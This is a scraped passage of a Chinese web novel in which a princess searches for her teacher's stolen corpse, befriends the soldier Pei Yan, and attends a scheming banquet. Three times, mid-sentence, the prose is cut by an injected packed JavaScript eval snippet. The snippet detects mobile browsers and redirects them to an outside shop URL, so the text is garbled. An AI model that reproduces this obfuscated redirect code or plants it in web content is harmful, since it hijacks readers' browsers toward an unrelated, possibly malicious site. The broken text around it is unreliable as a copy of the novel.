“尸身”二字在舌尖打了个转儿,周昭咬牙切齿说不出话,那人脸色涨红,喉咙间挤出几个字:“殿、殿下……” 周昭手下松了松,那人终于能开口说话:“殿下,你抓错人了,我、我不是……” 这人虽然被她按着,浑身上下就一件单衣,没有其他藏东西的地方。再看他的手指,指甲干干净净,没有痕迹。 其实周昭刚才一按住他便发现了,心里却不愿承认,厉声道:“不是?你鬼鬼崇崇在这儿干什么!” 对方脸上露出一丝尴尬,周昭盯着这张脸,忽然记起来在哪见过的,犹疑问道:“你是......两年前往雪松山送信的人?” 对方不说话,周昭却愈发肯定。两年前,她和长淮在边境碰见一个朝他们射箭的少年,周昭正是替这少年往雪松山送信,才结识霍将军留在了北疆。 周昭终于缓慢松开他,将少年从地上拉起来,目光却仍然带着几分怀疑,问道:“你在这儿干什么?没跟长淮回黎国吗?” 少年冷哼一声,语气不屑道:“我跟他去黎国干什么……” 确实是那少年。 少年看了眼周昭,说道:“谢景来盛都没多久就走了,我没地方去,就求了方丈留在苍界山。刚才听见山上有动静,以为出什么事儿了,所以上来看看。” “哦,原来是这样。”周昭目光如炬,怀疑道,“很能说得通,但你忽略了一件事儿。” 少年抬眸不解,周昭道:“你刚才脱口而出‘殿下’,你怎么认得我是谁?两年前,我从未表明身份。” 少年愣了一瞬,随即信心满满道:“殿下,寺庙神女殿里,我日日去看那神女画像,自然认得你。” 这回轮到周昭愣住,反问道:“什么神女?” 少年道:“神女殿,殿下从前山来没看见吗?盛都百姓感念殿下解了瘟疫,特意在苍界山修了座神女殿,也就是今日雪大了些,人不如晴天多。” 周朝崇拜人皇,苍界山历来供奉的都是各朝各代的皇帝,譬如香火最盛大的自然是开国皇帝周武。 周昭万万没想到,自己年纪轻轻就被抬进神殿供着,一时惊讶不已,面皮微红,总觉得不是好事,右眼皮跟着直跳。 少年仍在滔滔不绝,周昭忍不住道:“别说了。” 少年便听话不说了。 抓错了人,江梅棠的尸体就这么消失了。周昭坐在这半山腰,上也不是下也不是,茫茫雪山不知何处去寻那盗墓贼,叹了口气,只能死马当活马医,抱着最后一丝希望问道:“你上山路上有没有见到生人?” 少年摇头道:“不曾,我上山只碰见殿下。” 他很委婉地用了“碰见”二字,丝毫不提周昭抱着他在山坡上滚了一圈,骨头都险些碾碎,周昭神情落寞,道歉说:“对不起,我刚才认错人了。” 她转身离开,少年却亦步亦趋跟在她身后。周昭停下脚步,耐着性子道:“跟着我做什么?” 少年一本正经道:“你是神女,我想跟着你。” 周昭阵阵头痛,无奈道:“我不是什么神女,你别跟着我了。” 少年却不肯,周昭心里难受不想多说话,于是任由他跟着。 都说上山容易下山难,周昭一步步又往上走,觉着上山也并不容易。 周昭常年习武,身后少年却走得气喘吁吁,周昭回头拉他一把,问道:“我记得你是叫裴砚,对吗?” 少年答道:“嗯。” 周昭略一点头:“今年多大了?” 裴砚回答:“二十了。” 周昭没戳穿他,二人继续往前走,到了坟前,裴砚小心翼翼道:“殿下,你跟你师父感情很好吗?” “很好。”周昭跪在坟前,从斗笠旁边的包裹里拿出一支梅花来,这花是今天早晨宫里刚开的,本来是想带来给江梅棠看看。 周昭将花放进空空荡荡的棺材里,一点点捧着黄土将坟墓重新埋了,裴砚见她如此,也跪在旁边堆土。 二人不大会儿便重新堆了座坟,周昭郑重地磕了三个头,暗暗许诺一定要把师父找回来。 下山路上,远远看见槐树上落着星星点点几团雪,走近了才发现是开出的白花,周昭怀疑自己记错,问道:“裴砚,你上山时这些槐树是开着花吗?” 裴砚摇摇头:“跑太快,记不清了。” 周昭欲伸手,裴砚却出言制止道:“殿下别碰。” 他解释道:“槐树春夏开花,没见过大雪天开花的,说不定是槐树成了精,碰不得。” 周昭看少年板着面孔一本正经,却不以为意,摇摇头道:“这如果真是槐树精,那也是听着山中诵经声长大的,我想不会伤人。” “殿下,不是所有事情都像你想得那么好。” “是吗?”周昭勉强露出笑来,“师父总教我人性本善,我想精怪也是一样吧。” 到了山脚下,周昭戴上斗笠望向皇城方向,问道:“裴砚,你见过我师父吗?” 裴砚点头道:“见过的。” 周昭眸光略微闪烁,淡淡道:“……你愿意跟我进宫吗?” 周昭回宫第一件事儿,就是将国师墓被盗一事上报宣庆帝。宣庆帝震惊之余勃然大怒,将这案子交给禁军,并点名要安宁王查。 周昭万没想到是这样的结果,此事落到周澈耳朵里,他却不甚在意,作画的手未停,说道:“既然是制衡,总要旗鼓相当,看来父皇是打定主意,要把我往那个位置推几步。” 周昭往日总喜欢看周澈作画,今日却没心思,反倒是跟她一同来的裴砚兴致勃勃,说道:“这画的风格,跟我在苍界山看到的很像。” 周澈回头笑着说:“你也懂画?” “不大懂,只是看得多。” 周澈又往画上添了一笔,道:“我猜你说的是苍界山上国师作的画吧,从前有幸得国师指点几次,所以乍一看笔墨间风格相似,却是不敢同国师相提并论的。” 周澈琴棋书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894140|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画无一不精,却性格谦逊不骄不躁,周昭看他这幅气定神闲的模样,也跟着冷静下来,说道:“皇兄,我跟你一块儿查。” 周澈点点头,惋惜道:“国师神仙般的人,可惜早逝。” 这话又提起周昭的伤心事儿,略坐了会儿便走了。那时周昭问裴砚想不想进宫,一是看他一人孤苦无依无靠,二是存了份私心,想借着裴砚的口多听听江梅棠这两年是怎么过的。 裴砚善解人意,回昭阳殿的路上专挑苍界山上的趣事儿讲,先说道谢景当年独自回来被江梅棠好一通罚,又说江梅棠常往北疆写信。 周昭听得一会儿高兴一会儿伤心,裴砚便不说了,问她:“殿下,霍将军来盛都,什么时候又要走?” 周昭回过神来,答道:“过了十五就走,你若想跟霍将军一同回北疆,我过两天带你去见他。” 周昭本以为裴砚肯定是要回去的,谁知对方却摇头道:“不了,我在北疆也没有亲人,跟我一同参军的人那年都死了,我不想回去。” “你不想跟着霍将军吗?他是个好将军。” 裴砚自嘲道:“霍将军哪里认得我是谁,我想跟着殿下,殿下去哪儿我就去哪儿。不过......如果有机会,我想见见霍将军。” 他言辞并不过分热切,前半句跟后半句倒像是两个人说出来的。周昭恍然想起当年裴砚让她带的话,微笑道:“好吧,那明日你先陪我去个地方。” 周昭说的地方,是宫里的驯马司。 驯马司说白了就是养马的地方,宫里的马每一匹都是良种,尤其是那些名贵马驹,是专门拿来配种的。 裴砚大概是没见过这么多好马,连连赞叹。周昭道:“我有一个北疆认识的朋友,我想选匹马送给他,帮我挑挑?” 裴砚眨着眼睛问道:“谁这么大福气?” 他转身去挑马,沿着马棚走了几步,问道:“有的马脖子上挂着牌子的,是为什么?” 驯马官回答道:“那是宫里的贵人提前订的马驹子,留在咱们这养着,等出了栏要送出去的。” 裴砚哦了一声,见一连好几匹马脖子上都挂着一个“驰”字。裴砚听周昭说这马是要送给一位朋友,挑起来心不在焉,走到最后随便挑了一匹黑马。 等他牵出来,周昭身后也跟着两匹骏马,一黑一白漂亮极了。 周昭看向裴砚身后,问道:“选好了?” “选好了。” “就是它?” “嗯,就它了。” 虽然那马也是良种,但毛色略微杂了些,左眼一团乱七八糟的白毛,不如其他的马通体乌黑发亮,更不如周昭身后那两匹马漂亮。 周昭只当他真心喜欢,从驯马官手里接过马鞭,递给裴砚。 裴砚凝眉不解,周昭笑说:“那日我在山上撞了你,这马就当赔罪。” 裴砚脸上表情一时间十分精彩,指着周昭身后一黑一白问道:“那两匹马是……” “啊你说那个,我有两位远道而来的朋友,这两匹马是送给他们的。”周昭道,“也是北疆来的,说不定你们见过。” 72. 第 72 章 燕飞跟赵六子正闲得无聊,商量着晚上去哪家馆子里吃酒,却听得一声通报说公主殿下来了。 二人对视一眼,迎上去。 赵六子总是忘祝鸢就是明鸢殿下,远远地招呼道:“阿鸢!” 燕飞在他膝弯不轻不重踹了一脚,跟着跪下道:“殿下。” 赵六子冷不防被踹得跪倒,待他反应过来才知自己叫错人,连连懊悔,又觉得周昭不会怪他,于是仍咧嘴笑道:“殿下。” 周昭扶他二人起身,又说今后不必再行礼。 赵六子满口应了,燕飞却低着头不敢看她,自言自语道:“那怎么行......” “怎么不行了?”周昭走到廊檐下解了斗篷,一张脸被风雪吹得鼻尖泛红,“我还是我,没变的。” 燕飞嘟囔道:“怎么没变......” 这回轮到赵六子踹他,骂道:“磨叽啥!阿鸢说没变那就是没变!” 裴砚自门外进来,刚好听到这句,看赵六子的眼神带了几分敌意。赵六子浑然不觉,走近问道:“这是哪位小兄弟,以往没见过。” “他叫裴砚。”周昭诧异道“你们没见过吗?他也是北疆的兵,我当年送往雪松山的那封信,原本就是替裴砚送来的。” 赵六子又打量几眼:“俺没见过,燕飞,你见过没?” 燕飞自上而下道:“将军手底下那么多兵,咱总不能什么杂七杂八的人都见过吧。” 裴砚毫不理会,走到周昭面前道:“殿下,你的马安置好了。” 周昭语气温和道:“他们平日说话就这样,你别见怪。” 又转向燕飞,说道:“燕大哥,你不是说等进了城要把狼牙借去玩两天吗?我左等右等,不见你来,只好亲自送来了,不去看看吗?” 周昭虽然叫他一声燕大哥,实际燕飞比她大不了多少,还是个贪玩的毛头小子。 燕飞眼底微动,赵六子抢先道:“阿鸢,别借给他!他骑不来那宝贝!” 燕飞伸着脖子反驳道:“谁说我骑不来!” 没坐一会子又要出门去看马,周昭刚行了两步,裴砚抱着斗篷追上来:“殿下,外头冷。” 周昭不愿穿,推脱道:“不碍事,去看看就回来。” 裴砚也不说什么,没把斗篷放回去,就这么抱着跟在三人身后。等到了马厩见着那几匹良种马,燕飞眼睛都看直了,连连叫道:“好马!” 他一眼相中那匹通体雪白的马,又是摸头又是贴面,爱不释手。 赵六子亦神采斐然,惊喜不已,问道:“阿鸢,这些都是你带来的?” 周昭点头道:“当初迫不得已隐瞒身份,实在非我故意欺瞒,今日特来给二位兄长赔罪。这马你们可喜欢?” 赵六子本就没那么在乎周昭是公主这件事,燕飞心中那点儿芥蒂也因为这马飞到九霄云外去了,异口同声道:“喜欢!” 燕飞牵了白马出来,翻身跃上马背,兴致勃勃道:“殿下,往日在北疆赛马,我总输给你,今天乘此机会,不如我们再比一场,如何?” 赵六子骑着那匹黑马,闻言附和道:“好,好极了!” 马厩里只剩一匹孤零零的黑马,赵六子叫道:“这马是谁的?怎么一只眼白一只眼黑,是个杂种!” 裴砚下巴微抬,说道:“我的,怎样?” 赵六子哈哈笑道:“兄弟对不住,你这马虽然也好,但是不如俺的。” 赵六子胸无城府,并非刻意夸耀,周昭知他脾性,不由笑着说道:“裴砚,我们出城玩玩儿,一同去吗?” “快些,再晚城门就关啦!” 那边燕飞已经急不可待挥着马鞭往城门方向去了,赵六子叫道:“燕飞,等等我!” 此时雪后初晴,北风微冷,虽不是赛马好时节,却是少年正当时。 城外四匹烈马宛如四道闪电,远处山坡夕阳徐徐落下,马鞭挥动,四人策马奔腾,一齐追赶那道越来越低的霞光而去。 燕飞拔得头筹,马鞭在手里挥舞道:“阿鸢!六子!我赢啦!这回是我赢啦!” 燕飞满头是汗,一时忘了改口,身下白马亦被染上一层淡淡的晚霞,笑声在天地间回响不断。 赵六子笑骂道:“俺跟阿鸢让你一回,你还得瑟上了?” 周昭也跟着笑起来,越笑越大声,笑到最后一股莫名的悲凉涌上心头,她想到江梅棠,也想到宫里,不由阵阵落寞。 裴砚追上来,小声道:“殿下,你不高兴?” 周昭摇摇头,感叹道:“......朝花夕拾,良辰难再。” 赵六子没听明白这话的意思,问道:“阿鸢,还有几日我们就回北疆了,你会跟我们一道走吗?” 燕飞骑着白马,眼里闪着亮光,说道:“阿鸢,盛都虽好,不及北疆天大地大,跟我们回去吧!” 周昭笑而不语,心道:“且不说父皇准不准我再去北疆,师父还没找到,我岂能一走了之。” 赵六子却不懂周昭心事,一个劲儿地劝周昭,又道:“孟舒那股子鬼兵邪气的很,咱们虽然胜过一回,保不齐哪天又卷土重来。” 裴砚捧着斗篷递来,闻言道:“鬼兵?” “嗯,那些鬼兵银甲覆面,难杀得很!”赵六子望见裴砚手里的斗篷,哈哈大笑道,“小兄弟!你不会一直抱着这件沉甸甸的斗篷吧?” 裴砚假装没听见,说道:“殿下,山上风大。” “好裴砚,难为你还想着我。”周昭出了汗正发冷,斗篷往身上一披果然好些,燕飞忍不住道:“阿鸢,你从哪儿找来这么个体贴的小丫鬟?” 周昭制止道:“燕大哥,别这么说。裴砚,你愿不愿意跟他们回北疆去?那儿比盛都好。” 赵六子也道:“是啊小兄弟,燕飞虽然嘴臭了点,但俺们一定好好照顾你。” 裴砚却道:“北疆太远了,我不喜欢。” 周昭听他这么说,也不勉强。 冬天日头短,等夕阳过去便要天黑,四个人歇了会便又往回走。回 去的路上自然没有来时那么快,他们年纪差不多大,说起话来无所顾忌,没说几句又聊回霍将军。 燕飞道:“霍将军上山去啦。” 周昭问道:“什么山?” 燕飞神神秘秘道:“阿鸢,这你就不知道了吧,将军是去看相好去了。” 赵六子先是忍不住嘿嘿笑了两声,又板着脸道:“燕飞,你小心让将军知道抽你一顿!” 原来,霍璋在盛都有位青梅竹马,二人一同长大情谊深厚,据说那位小姐苦等霍璋多年,没等到霍璋从北疆回来,那小姐先病死了。每年霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899375|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璋只要回盛都,就一定会去那小姐葬身的山上祭拜。 他们二人本就是藏不住话的性子,不消周昭问,便跟倒豆子一样把霍将军那点儿秘辛全抖落出来了。 燕飞摇头叹道:“可惜......” “可惜有情人没成眷属。”赵六子难得咬文嚼字。 燕飞斜眼看他,卖关子道:“我不是说这个。我是可惜兰将军。” “兰将军?”周昭好奇道,“哪位兰将军?” “还能有哪位?”燕飞道,“常年镇守南疆的那位,兰令仪将军。” 赵六子低声道:“燕飞你小子别什么话都往外说,将军真该抽死你!” 周昭听出几分不对,微笑道:“既然是不足外道的话,不说也罢。” 一直不曾开口的裴砚却道:“我知道,你在可惜什么。”他轻轻拉着缰绳,微扬着头道:“你是可惜,兰令仪差点儿成了霍将军的妻子。” “什么?” “你怎么知道?” 周昭跟赵六子齐声开口,皆满脸惊讶。 裴砚不屑道:“盛都能有什么秘密?” 赵六子挠挠脑袋,解释道:“那都是很多年前的事儿了,那时候我跟燕飞还没入营。听说兰将军对咱们霍将军一见钟情,从盛都追到北疆,后来霍将军松了口,本来二人都要拜堂成亲了……后来不清楚怎么回事儿又闹掰了,两个人一南一北,十多年都没见过面。” 燕飞一指皇城,道:“还能因为什么,不就是因为那埋在山上的小姐吗?兰将军当年也是烈性女子,听说亲手撕了喜服,从北疆跑到南疆,跟霍将军老死不相往来了。” 再往前走就是城门,关于霍璋这段往事不便再提。 翌日清晨,周澈一早便来昭阳殿寻周昭,说盗墓贼抓到了。周昭急忙问道:“抓着了?在哪抓着的?” 周澈说道:“告示刚贴出去没多久,那小子心里害怕,一早投案自首来了。” 周昭一颗心悬而未决,连声问道:“人在哪儿?师父......师父找着没有?”周澈微微蹙眉道:“人我已经审问过,他说去山上只是为了盗些财宝,没见着国师圣体。” 周昭失魂落魄跟周澈出了昭阳殿,她见着那盗墓贼,心中已了然。那人生了张贪生怕死的脸,见了他俩又是磕头又是赔罪,反复说自己确实去了趟苍界山,但翻开坟里面什么都没有。 “二位大人饶命!小的当真一个字儿都没拿,更不知道那就是国师大人的坟,小人要是知道,借我一百个胆子也不敢去挖坟呐!” 周昭大失所望,又不死心,问道:“你说你什么都没拿就下山了?也什么都没看见?”盗墓贼应声答道:“小的不敢撒谎!” 二人自狱中离开,周昭摇头道:“我那日在山上碰见的黑衣人不是他。”周澈道:“既然不是,国师的圣体就还有找到的机会,小昭,你别太难过了。” 周昭走得缓慢,叹息道:“我想不明白,师父在世时为人淡泊,与世无争,却落得如此下场。” 虽然江梅棠的尸身下落不明,但宣庆帝却很高兴周澈这么快就抓到了盗墓贼,对其大加封赏,连沉寂多年的南衙十六卫都入了皇帝的眼,赏赐颇丰。 没过几日,昭阳殿就收到一封请柬,是禁军总督沈博安送来的,邀请周昭明日于莲花楼赴宴。 73. 第 73 章 周昭打发了送请柬的人,裴砚不屑一顾道:“什么观宝会,听着就没意思。” 裴砚不愿离开盛都,周昭本想给他寻个什么差事,但裴砚说自己生性不爱官场,不如在昭阳殿当个侍卫轻松自在。 裴砚这么说,流筝却兴致颇高,说道:“公主,我听小喜说这帖子五殿下也收到了,不如咱们跟去瞧瞧是个什么宝贝。” 周昭放下帖子,道:“五哥前脚受了封赏,后脚沈家的帖子就送来了,哪有这么巧的事儿?” 流筝问道:“公主,您说五殿下会去吗?” 周昭道:“五哥刚入禁军,想来不好不去。” 第二日晌午,等周昭跟周澈到了莲花楼,见外头停着不止一辆马车。 周澈淡淡道:“看来今日要碰见熟人了。小昭,咱们进去罢。” 今日天气阴沉,不大晴朗,北风刮得紧。 周澈依旧是一身白,身上霜色大氅拢得严严实实,腰间只悬了块碧色流苏玉佩,怀里则捧着只精巧的鎏金暖手炉。 周昭外头拢着件雪狐裘,里面还是单衣,锦袍绣着胭脂红缠枝梅纹,走起路来倒像是雪中红梅浮动。 二人一同入楼,早有小厮来接,见着这一对冰雕雪琢的兄妹不由低下头,生怕亵渎了贵人。 上了二楼,远远听见笑声阵阵,小厮躬身挑了帘,周昭弯腰进去,闻到一阵扑鼻幽香。 笑声断了一瞬,沈博安望过来,拱手笑道:“五殿下,公主殿下,等你们多时了。” 平南王坐在主位,冲他二人微微点头。 靠窗位置的人一身窄袖劲装,手里酒杯刚放下,冲周昭略一挑眉,招呼道:“殿下也来了。” 周昭倒不意外大哥也在,但见着霍璋就很意外了。 霍璋从小是在盛都城军营里混大的,城中兄弟朋友无数,前日周昭还听燕飞说,霍将军去南衙找一位统领喝酒,且不说南衙羽林军跟沈博年的北衙禁军水火不容,光是二人朝堂上针锋相对,如今霍璋也在席间就足以让人生疑。 更意外的是折杞居然也在其中,站起身冲她微微一笑。 周昭点头示意,挨着霍璋,周澈也寻了空位坐下。同席的还有一人周昭并不眼熟,是个身材瘦长的中年男子,颧骨突出,嘴唇极薄,虽然脸上堆着笑,却给人一种不大舒服的面相。 对方迎上周昭目光,眼珠子不安分地转了转,笑道:“二位殿下,下官北衙统领陈子明。” 沈博安举杯笑说:“刚才咱们说到哪儿了?” 桌上铜锅煮得正欢,雾气缭绕中,霍璋跷起半条腿,似乎要看沈博安憋出什么话来,散漫道:“说到沈大人家里那位美妾。” 沈博安大笑,连连摆手:“那便不再说了。行野要是有兴趣,改天沈某单独……” 他挤眉弄眼,霍璋垂着眼似笑非笑,周昭心里纳闷,不知霍璋什么时候跟沈博安有的交情,却听沈博安又道:“听说行野前几日又去看卿卿了?” 霍璋眼底划过一丝郁郁,沈博安叹气道:“这么多年了,卿卿要是还在……” 周昭绕不清其中关系,周驰侧身道:“小妹,你忘了沈总督也有个妹子,叫沈卿卿的。” 周昭恍然大悟,心想:“原来霍将军的旧时好友,就是沈博安的妹子,怪不得今日霍将军也会出现,天下竟有这样巧的事儿。” 周昭转念一想,盛都城绕来绕去不过这么些人,也不算奇怪。不过那日宫宴上沈博安针锋相对,现在反倒叫得亲热。 她初入朝堂,只知道这里头水深,却不知道有多深。就像小马驹过河,还没到一脚踩着水底的火候。 霍璋低着头喝酒,沈博安问他几时又要走。霍璋道:“快了,围猎之前就走。” 沈博安道:“这回一走,什么时候再回来?” 霍璋自斟自饮,漫不经心地回答:“再说吧。” 周驰淡淡一笑,问道:“霍将军,听说你那副将在赤霞关立了大功,怎地没见带回盛都求个封赏?” 霍璋的副将就是周昭,周驰明知故问,霍璋怎能不知其中利害关系,答道:“殿下,臣的副将没见过盛都这大场面,不好带来。” 周驰又问:“哦,那过几年呢?” “……”霍璋饮了口酒,才道,“盛都太大,不自在。臣不回来,臣那副将自然也不回来。” 周昭听得一清二楚,心知霍璋是为她日后在盛都立足存心退让,她到底年轻气盛,不由道:“北疆苦寒,不如盛都繁华迷人眼。将军若一去不回,您手下的兵,岂不是天天都要唱乡曲儿了?” 周驰转向周昭,道:“小妹更喜欢盛都?” 周昭微笑道:“大哥说哪里话,小妹不是一直待在盛都吗?” 沈博安大口嚼肉,有意无意说道:“我听说,那日行野回城,阵中有个小将长得颇像公主殿下。” 周澈笑说:“长得像的人多了去。” 周澈吃不惯满桌牛羊肉,他身子不好,吃多了这些夜里很难睡,沈博安连这点都想到了,单独在他面前支了一只小锅烫菜,都是些冬天不容易见到的新鲜菜。 “的确,我看五殿下就跟公主殿下像极了。”沈博安亲自为周澈布菜,又揶揄道,“五殿下刚上任就抓着了盗墓贼,平日藏得够深呐!” 在座除了霍璋常年不在盛都,其余人都知道周澈从不过问政事,落到沈博安嘴里却用个“藏”字,说者不一定无心,听者皆是有意。 周澈微笑道:“是个无关紧要的小贼,不算抓到。” 沈博安冲着皇宫方向拱手一拜,道:“陛下说抓到了,那就是抓到了。国师也是可怜,这才入土几个月……不过,沈某听说国师原是个术士,我大周不兴修道,想必生前有什么同类仇家也说不定。” 江梅棠生前虽不常入朝堂,却分量不轻,颇受宣庆帝倚重,惹来不少眼红嫉妒。他住在苍界山十几年,唯一被人诟病的就是术士的身份。 周昭忍不住反驳道:“师父才能通天彻地,修行又不是见不得人的,沈总督何必拿这个说事儿。” 沈博安看向周昭,连连道歉:“是沈某忘了,公主殿下是国师教出来的学生。沈某记得,当年国师还有一位得意弟子……是黎国的那位……叫什么来着?” “谢景,是谢景哥哥。”坐在角落的折杞适时开口,沈博安一拍脑袋,“对!就是谢景殿下。听说他再过几日就要来盛都祭拜国师,就是不知道到时候国师墓里空空如也,怎么好跟黎国那小殿下交待……” “有什么好交待的。”周驰神情淡淡,言语带了几分隐隐的傲气,“黎国,巴掌大的地界。” “可……” 周澈不动声色地握了握周昭的手,她只好将舌尖上的话吞回去。 沈博安附和几句,无外乎是说大周国土辽阔千秋万代之类的奉承话,听得周驰十分享用。 霍璋喝够了酒,有几分坐不住,慵懒道:“博安,你今日把我们都叫来,不会就是听你扯闲篇吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902985|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “自然不是。”沈博安神秘一笑,压低声音道,“沈某近日新得了一件宝贝,特意拿来给诸位看看。” 霍璋挑了挑眉,似乎不太感兴趣。 周驰亦没有说什么,折杞怕冷了场子,便问:“什么宝贝,如此神秘。” 沈博安斜着眼一瞥,淡淡道:“等会儿就知道了。” 沈博安语气远没有对其他几人那么热切殷勤,折杞面上微微尴尬,沈博安轻轻拍掌,隔间的门缓缓打开,他兴奋道:“诸位,请赏宝!” 两个小倌抬着一张贵妃榻走进来,只觉室内顷刻间阵阵幽香扑鼻。 那榻上铺着一张洁白丝滑的绸缎,轮廓起伏分明,绸缎底下露出一双小巧莹白的脚。 再一细观,原来绸缎并非一整张,中间的位置掐了空,露出一截女子的纤腰来。 那腰身盈盈一握,不过巴掌大小,好似一段儿雪白的软玉,因此乍一看竟跟绸缎融为一体,故而未曾分辨。 肚脐处置着一枚足有鸽卵那般大的珍珠,却不是寻常珍珠,底色墨绿,色泽诡艳,配上那截软玉纤腰,说不出的旖旎靡靡之感。 周驰咂摸了一口酒,说道:“龙睛泪。” 沈博安抚掌笑道:“平南王殿下好眼力,正是千金难求百年难遇的龙睛泪!” 霍璋眯起眼睛道:“博安,你这盛宝的匣子……倒是新奇。” “开眼了,真是开眼了!”陈子明嚷道。 沈博安嘿嘿一笑,见周澈二人不曾言语,便开口问道:“二位殿下觉得,这宝如何?” 他走近贵妃榻,将那蒙面白纱轻轻掀开一角,虽只露出一个侧脸,也能窥见那榻上女子容颜不俗。 周昭毫不客气地直言道:“若装在珠匣内,那便是好宝贝。” 言下之意是你什么上不得台面的伎俩,也敢将我们请来观宝。 沈博安促狭道:“公主殿下年纪还小,赏不来亦是情理之中,五殿下……觉得如何?” 周澈站起身,拿起挂在一旁的大氅,往那榻上轻轻一放,遮住那截裸露的纤腰和绸缎之下女子微微颤抖的身体,微笑道:“好冷的雪天。” 沈博安露出笑来,道:“五殿下若是不喜欢雪天赏宝,我即刻让人送到殿下宫里,殿下自可慢慢欣赏。” 搞了半天在五哥身上打主意。 周昭心中不快,正要反对,霍璋放下夹肉的筷子,挑眉笑道:“博安,这就是你的不对了。在座这么多人,怎地偏往五殿下宫里送?莫非你是看不上我霍璋,还是看不上平南王?” 沈博安冷冷地反击道:“行野,我倒是想给你送,就是怕今日送了,明日兰将军就带着大军杀到盛都来。届时不光是你,怕是我沈某人也要送命。” 霍璋本是好意替周澈解围,不料沈博安提起南疆那位,冷笑道:“博安,你最好是把这话原封不动地在令仪面前说一遍,我谅你是条好汉!” 他说完霍然起身,就这么推门走了。 沈博安没料到霍璋这一甩脸子,谁的面子也不给,脸上挂不住,哼了一声,自言自语道:“我有本事说,也得你霍行野有本事听才行!” 铜锅里的牛羊肉煮的正沸,汤上起了层白沫子。 霍璋这一走,周昭正好拉着周澈匆匆离席。折杞紧随其后,借故离开。 等人都走了,不消沈博安使眼色,陈子明亦十分知趣的退下了,沈博安这才恭敬道:“殿下说得对,这宝贝入不得五殿下的心。” 74. 第 74 章 平南王沉默不语,夹了筷子肉放进沈博安的碗里,淡淡道:“沈大总督,我看这肉,还是你自己吃吧。” 沈博安已经吃得够多,但平南王给他的那就是赏赐,吃不下也得吃。 他苦不堪言,勉强吃了几口,试探道:“殿下,公主殿下今年才十七岁,就算去了两年北疆立了军功,但这军功不明不白,挂的是另一个人的名头,陛下也不好明着赏赐。何况就算公主殿下再聪明,也只是个女子……” 平南王语气不喜不怒,道:“沈大人这么聪明,怎么不把自己也端进苍界山让人供奉着?” 沈博安不以为意道:“百姓无知,受了那妖道国师蛊惑。如今国师一死,只要将公主殿下困在宫里,臣以为,掀不起什么风浪。” 平南王不置可否,又夹了一碗肉放在沈博安面前,沈博安连忙闭嘴,不敢再说。 外头果然飘起小雪来,周澈随身披着的大氅留在了莲花楼里,雪落在身上沁着骨子冷。 霍璋便随手解了自己的捧给周澈,说道:“五殿下若不嫌弃,就用臣这件御寒吧。” 他这么说,周澈不好推辞,微笑道:“多谢霍将军。” 霍璋浑不在意,他穿得少,在雪地里却浑不觉得冷,对周昭道:“殿下方才席间不该说那样的话。” 周昭道:“将军也不该为我向大哥承诺不回盛都,亦不该为五哥驳了沈总督一番‘好意’。” 霍璋爽朗一笑,道:“殿下还是这般伶牙俐齿!” 说罢,他长腿一跨纵身上马,一看便知是在疆场上滚了多少年的功夫。 见他英姿勃发,周澈拢着暖炉不无羡慕道:“有机会,我也想去北疆看看。” 霍璋笑说:“五殿下若来,臣一定带殿下去看看北疆的雪山。” 他策马离开,渐渐消失在街道尽头。 周澈收回目光,接着刚才霍璋的话说:“小昭,有句话叫木秀于林,风必摧之。” 周昭知道周澈是在说她席间几次三番“出言不逊”,她不是什么不懂的小孩子,可任凭再懂,少年心气在那儿摆着,让她学会圆滑还为时尚早。 “……五哥,”周昭看了眼这只比她大两岁的哥哥,好奇道,“你是怎么忍住不骂沈博安的。” 周澈笑得眉眼弯弯,什么话都没说,摸了摸周昭的头。 周昭突然哎呀一声,周澈问道:“怎么了?” 周昭懊恼道:“裴砚还没见过霍将军,我说好带他见见的。”她四下张望,流筝道:“公主,裴砚跟小喜前面牵马车去了,你瞧,那不就来了?” 周澈看了眼远远走来的裴砚,笑道:“你倒是对这少年上心。” 二人说着话,折杞也从莲花楼里出来。 他身边并未跟着随从,周昭见他孤零零一人,不禁怜惜道:“折杞,你怎么一个人?” 折杞今年还不满十六,一脸稚气未脱,甜甜笑道:“昭姐姐,我一个人惯了。” 折杞越是这么说,周昭越心疼他年少孤苦,便让折杞跟他们同坐一辆马车回宫。折杞略微惶恐,特别是坐在周澈身边时犹显不安,周昭笑说:“你不必怕五哥。” 折杞才敢抬头看了周澈一眼,周澈亦微微一笑,道:“我们在母后宫里见过的。” 折杞方道:“是了,我听皇娘娘说五殿下不常出来走动,我早该去殿下宫里拜访。” 周昭问道:“折杞,你今日怎么来了?” 她这话问完才觉得不妥,难道沈博安能宴请他们,就不能请折杞吗? 折杞勉强笑道:“我也没想到沈总督会请我来,也许是皇娘娘前几日说了嘴让我日后去禁军当差,沈总督才记起我吧。” 